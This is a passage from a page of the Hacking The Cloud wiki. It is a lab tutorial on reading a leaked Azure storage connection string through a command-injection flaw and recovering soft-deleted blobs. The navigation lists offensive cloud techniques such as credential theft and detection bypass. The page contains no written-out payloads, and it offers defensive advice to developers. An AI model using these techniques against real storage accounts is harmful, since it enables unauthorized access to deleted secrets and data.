Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Soft Deleted Blobs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-soft-deleted-blobs class=md-nav__link> <span class=md-ellipsis> Exploiting Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-soft-deleted-blobs class=md-nav__link> <span class=md-ellipsis> Exploiting Soft Deleted Blobs </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/soft-deleted-blobs.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Soft Deleted Blobs</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/09/create-an-azure-vulnerable-lab-part-3-soft-deleted-blobs/ >0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 – Soft Deleted Blobs</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:</p> <ul> <li>A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.</li> <li>A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.</li> <li>Managed Identities</li> </ul> <p>For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-4.webp data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Storage Account Keys" src=../../images/azure/soft-deleted-blobs/image-4.webp></a></p> <p>Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.</p> <p>The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”. </p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-5.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Soft Deleted Blob" src=../../images/azure/soft-deleted-blobs/image-5.png></a></p> <h2 id=exploiting-soft-deleted-blobs>Exploiting Soft Deleted Blobs<a class=headerlink href=#exploiting-soft-deleted-blobs title="Permanent link">&para;</a></h2> <p>Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-6.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Files src=../../images/azure/soft-deleted-blobs/image-6.png></a></p> <p>Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-7.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Source code" src=../../images/azure/soft-deleted-blobs/image-7.png></a></p> <p>Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-8.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Storage Account explorer" src=../../images/azure/soft-deleted-blobs/image-8.png></a></p> <p>And that we want to use a Connection String</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-9.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Connection String" src=../../images/azure/soft-deleted-blobs/image-9.png></a></p> <p>And we 